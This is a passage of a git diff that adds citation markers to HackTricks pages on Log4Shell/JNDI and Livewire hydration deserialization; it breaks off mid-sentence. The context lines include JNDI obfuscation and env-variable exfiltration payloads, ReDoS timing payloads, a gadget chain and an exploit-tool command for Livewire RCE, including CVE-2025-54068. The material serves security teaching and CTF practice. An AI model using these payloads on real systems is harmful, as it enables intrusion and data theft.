[tweet](https://twitter.com/marcioalm/status/1471740771581652995) showcases a bypass method. The issue is resolved in versions 2.16.0 and 2.12.2 by removing message lookup patterns and disabling JNDI by default. +Initially rated low but later upgraded to critical, this CVE is a **Denial of Service (DoS)** flaw resulting from an incomplete fix in 2.15.0 for CVE-2021-44228. It affects non-default configurations, allowing attackers to cause DoS attacks through crafted payloads. A [tweet](https://twitter.com/marcioalm/status/1471740771581652995) showcases a bypass method.[[5]](#references) The issue is resolved in versions 2.16.0 and 2.12.2 by removing message lookup patterns and disabling JNDI by default.[[4]](#references) ### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]** -Affecting **Log4j 1.x versions** in non-default configurations using `JMSAppender`, this CVE is an untrusted deserialization flaw. No fix is available for the 1.x branch, which is end-of-life, and upgrading to `log4j-core 2.17.0` is recommended. +Affecting **Log4j 1.x versions** in non-default configurations using `JMSAppender`, this CVE is an untrusted deserialization flaw. No fix is available for the 1.x branch, which is end-of-life, and upgrading to `log4j-core 2.17.0` is recommended.[[4]](#references) ### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]** -This vulnerability affects the **Logback logging framework**, a successor to Log4j 1.x. Previously thought to be safe, the framework was found vulnerable, and newer versions (1.3.0-alpha11 and 1.2.9) have been released to address the issue. +This vulnerability affects the **Logback logging framework**, a successor to Log4j 1.x. Previously thought to be safe, the framework was found vulnerable, and newer versions (1.3.0-alpha11 and 1.2.9) have been released to address the issue.[[4]](#references) ### **CVE-2021-45105** **\[High]** -Log4j 2.16.0 contains a DoS flaw, prompting the release of `log4j 2.17.0` to fix the CVE. Further details are in BleepingComputer's [report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/). +Log4j 2.16.0 contains a DoS flaw, prompting the release of `log4j 2.17.0` to fix the CVE. Further details are in BleepingComputer's [report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).[[6]](#references) ### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) -Affecting log4j version 2.17, this CVE requires the attacker to control the configuration file of log4j. It involves potential arbitrary code execution via a configured JDBCAppender. More details are available in the [Checkmarx blog post](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/). +Affecting log4j version 2.17, this CVE requires the attacker to control the configuration file of log4j. It involves potential arbitrary code execution via a configured JDBCAppender. More details are available in the [Checkmarx blog post](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).[[7]](#references) ## Log4Shell Exploitation @@ -217,7 +217,7 @@ Any other env variable name that could store sensitive information ### RCE - Marshalsec with custom payload -You can test this in the **THM box:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar) +You can test this in the **THM box:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)[[8]](#references) Use the tool [**marshalsec**](https://github.com/mbechler/marshalsec) (jar version available [**here**](https://github.com/RandomRobbieBF/marshalsec-jar)). This approach establishes a LDAP referral server to redirect connections to a secondary HTTP server where the exploit will be hosted: @@ -360,14 +360,14 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i" ### Labs to test -- [**LogForge HTB machine**](https://app.hackthebox.com/tracks/UHC-track) +- [**LogForge HTB machine**](https://app.hackthebox.com/tracks/UHC-track)[[9]](#references) - [**Try Hack Me Solar room**](https://tryhackme.com/room/solar) - [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn) - [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app) ## Post-Log4Shell Exploitation -In this [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) is well explained how it's potentially **possible** to **abuse** some features of **Log4J**. +In this [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) is well explained how it's potentially **possible** to **abuse** some features of **Log4J**.[[10]](#references) The [**security page**](https://logging.apache.org/log4j/2.x/security.html) of Log4j has some interesting sentences: @@ -389,7 +389,7 @@ For example, in that CTF this was configured in the file log4j2.xml: ### Env Lookups In [this CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) the attacker controlled the value of `${sys:cmd}` and needed to exfiltrate the flag from an environment variable.\ -As seen in this page in [**previous payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) there are different some ways to access env variables, such as: **`${env:FLAG}`**. In this CTF this was useless but it might not be in other real life scenarios. +As seen in this page in [**previous payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) there are different some ways to access env variables, such as: **`${env:FLAG}`**. In this CTF this was useless but it might not be in other real life scenarios.[[11]](#references) ### Exfiltration in Exceptions @@ -425,7 +425,7 @@ Abusing this behaviour you could make replace **trigger an exception if the rege As it was mentioned in the previous section, **`%replace`** supports **regexes**. So it's possible to use payload from the [**ReDoS page**](../regular-expression-denial-of-service-redos.md) to cause a **timeout** in case the flag is found.\ For example, a payload like `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` would trigger a **timeout** in that CTF. -In this [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), instead of using a ReDoS attack it used an **amplification attack** to cause a time difference in the response: +In this [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), instead of using a ReDoS attack it used an **amplification attack** to cause a time difference in the response:[[10]](#references) > ``` > /%replace{ @@ -450,16 +450,16 @@ In this [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l ## References -- [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/) -- [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/) -- [https://www.youtube.com/watch?v=XG14EstTgQ4](https://www.youtube.com/watch?v=XG14EstTgQ4) -- [https://tryhackme.com/room/solar](https://tryhackme.com/room/solar) -- [https://www.youtube.com/watch?v=Y8a5nB-vy78](https://www.youtube.com/watch?v=Y8a5nB-vy78) -- [https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf) -- [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) -- [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) +- [1] [A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land (Black Hat talk)](https://www.youtube.com/watch?v=Y8a5nB-vy78) +- [2] [A Journey from JNDI/LDAP Manipulation to RCE (Black Hat US16 whitepaper)](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf) +- [3] [Inside the log4j2 vulnerability (CVE-2021-44228) - Cloudflare Blog](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/) +- [4] [All the Log4j, Logback bugs we know so far, and why you must ditch 2.15 - BleepingComputer](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/) +- [5] [Tweet demonstrating a CVE-2021-45046 bypass](https://twitter.com/marcioalm/status/1471740771581652995) +- [6] [Upgraded to Log4j 2.16? Surprise, there's a 2.17 fixing DoS - BleepingComputer](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) +- [7] [CVE-2021-44832: Apache Log4j 2.17.0 Arbitrary Code Execution via JDBCAppender Data Source Element - Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) +- [8] [TryHackMe - Solar room](https://tryhackme.com/room/solar) +- [9] [UHC - LogForge (HackTheBox walkthrough video)](https://www.youtube.com/watch?v=XG14EstTgQ4) +- [10] [Google CTF 2022 - log4j2 writeup](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) +- [11] [Writeup GoogleCTF2022 - log4j](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) {{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/pentesting-web/deserialization/livewire-hydration-synthesizer-abuse.md b/src/pentesting-web/deserialization/livewire-hydration-synthesizer-abuse.md index f50621f8d3c..547e9501422 100644 --- a/src/pentesting-web/deserialization/livewire-hydration-synthesizer-abuse.md +++ b/src/pentesting-web/deserialization/livewire-hydration-synthesizer-abuse.md @@ -37,7 +37,7 @@ protected function hydrate($valueOrTuple, $context, $path) } ``` -This recursive design makes Livewire a **generic object-instantiation engine** once an attacker controls either the tuple metadata or any nested tuple processed during recursion. +This recursive design makes Livewire a **generic object-instantiation engine** once an attacker controls either the tuple metadata or any nested tuple processed during recursion.[[1]](#references) ## Synthesizers that grant gadget primitives @@ -47,7 +47,7 @@ This recursive design makes Livewire a **generic object-instantiation engine** o | **FormObjectSynth (`form`)** | Calls `new $meta['class']($component, $path)`, then assigns every public property from attacker-controlled children via `$hydrateChild`. Constructors that accept two loosely typed parameters (or default args) are enough to reach arbitrary public properties. | **ModelSynth (`mdl`)** | When `key` is absent from meta it executes `return new $class;` allowing zero-argument instantiation of any class under attacker control. -Because synths invoke `$hydrateChild` on every nested element, arbitrary gadget graphs can be built by stacking tuples recursively. +Because synths invoke `$hydrateChild` on every nested element, arbitrary gadget graphs can be built by stacking tuples recursively.[[1]](#references) ## Forging snapshots when `APP_KEY` is known @@ -55,11 +55,11 @@ Because synths invoke `$hydrateChild` on every nested element, arbitrary gadget 2. Inject nested tuples that point to gadget classes and recompute `checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)`. 3. Re-encode the snapshot, keep `_token`/`memo` untouched, and replay the request. -A minimal proof of execution uses **Guzzle's `FnStream`** and **Flysystem's `ShardedPrefixPublicUrlGenerator`**. One tuple instantiates `FnStream` with constructor data `{ "__toString": "phpinfo" }`, the next instantiates `ShardedPrefixPublicUrlGenerator` with `[FnStreamInstance]` as `$prefixes`. When Flysystem casts each prefix to `string`, PHP invokes the attacker-provided `__toString` callable, calling any function without arguments. +A minimal proof of execution uses **Guzzle's `FnStream`** and **Flysystem's `ShardedPrefixPublicUrlGenerator`**. One tuple instantiates `FnStream` with constructor data `{ "__toString": "phpinfo" }`, the next instantiates `ShardedPrefixPublicUrlGenerator` with `[FnStreamInstance]` as `$prefixes`. When Flysystem casts each prefix to `string`, PHP invokes the attacker-provided `__toString` callable, calling any function without arguments.[[1]](#references) ### From function calls to full RCE -Leveraging Livewire's instantiation primitives, Synacktiv adapted phpggc's `Laravel/RCE4` chain so that hydration boots an object whose public Queueable state triggers deserialization: +Leveraging Livewire's instantiation primitives, Synacktiv adapted phpggc's `Laravel/RCE4` chain so that hydration boots an object whose public Queueable state triggers deserialization:[[1]](#references) 1. **Queueable trait** – any object using `Illuminate\Bus\Queueable` exposes public `$chained` and executes `unserialize(array_shift($this->chained))` in `dispatchNextJobInChain()`. 2. **BroadcastEvent wrapper** – `Illuminate\Broadcasting\BroadcastEvent` (ShouldQueue) is instantiated via `CollectionSynth` / `FormObjectSynth` with public `$chained` populated. @@ -75,13 +75,13 @@ Leveraging Livewire's instantiation primitives, Synacktiv adapted phpggc's `Lara -j request.json --function system -p "bash -c 'id'" ``` -The tool parses the captured snapshot, injects the gadget tuples, recomputes the checksum, and prints a ready-to-send `/livewire/update` payload. +The tool parses the captured snapshot, injects the gadget tuples, recomputes the checksum, and prints a ready-to-send `/livewire/update` payload.[[2]](#references) ## CVE-2025-54068 – RCE without `APP_KEY` -According to the vendor advisory, the issue affects Livewire v3 (>= 3.0.0-beta.1 and <= 3.6.3) and is unique to v3. +According to the vendor advisory, the issue affects Livewire v3 (>= 3.0.0-beta.1 and <= 3.6.3) and is unique to v3.[[4]](#references) -`updates` are merged into component state **after** the snapshot checksum is validated. If a property inside the snapshot is (or becomes) a synthetic tuple, Livewire reuses its meta while hydrating the attacker-controlled update value: +`updates` are merged into component state **after** the snapshot checksum is validated. If a property inside the snapshot is (or becomes) a synthetic tuple, Livewire reuses its meta while hydrating the attacker-controlled update value:[[1]](#references) ```php protected function hydrateForUpdate($raw, $path, $value, $context) @@ -124,7 +124,7 @@ Key reasons this works: ### High-value pre-auth target: Filament login forms -Applications built on top of Livewire often expose an even easier pre-auth surface than a toy `public $count;` property. For example, Filament login pages commonly hydrate a weakly typed `$form` object that is already serialized as a `form` tuple in the snapshot. That removes the "scalar -> array -> `arr` tuple" setup step entirely: +Applications built on top of Livewire often expose an even easier pre-auth surface than a toy `public $count;` property. For example, Filament login pages commonly hydrate a weakly typed `$form` object that is already serialized as a `form` tuple in the snapshot. That removes the "scalar -> array -> `arr` tuple" setup step entirely:[[1]](#references) - The snapshot already contains something like `{"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}`. - An attacker can send `updates.form` with nested malicious tuples directly, because recursion will eventually reinterpret children such as `[payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}]`. @@ -132,7 +132,7 @@ Applications built on top of Livewire often expose an even easier pre-auth surfa ### Patch analysis: preserve raw metadata during update recursion -The fix introduces a dedicated `hydratePropertyUpdate()` path so nested update values no longer call generic `hydrate($child, ...)` on attacker-controlled children: +The fix introduces a dedicated `hydratePropertyUpdate()` path so nested update values no longer call generic `hydrate($child, ...)` on attacker-controlled children:[[1]](#references)[[5]](#references) ```php protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw) @@ -155,7 +155,7 @@ Security impact of the patch: ## Livepyre – end-to-end exploitation -[Livepyre](https://github.com/synacktiv/Livepyre) automates both the APP_KEY-less CVE and the signed-snapshot path: +[Livepyre](https://github.com/synacktiv/Livepyre) automates both the APP_KEY-less CVE and the signed-snapshot path:[[3]](#references) - Fingerprints the deployed Livewire version by parsing `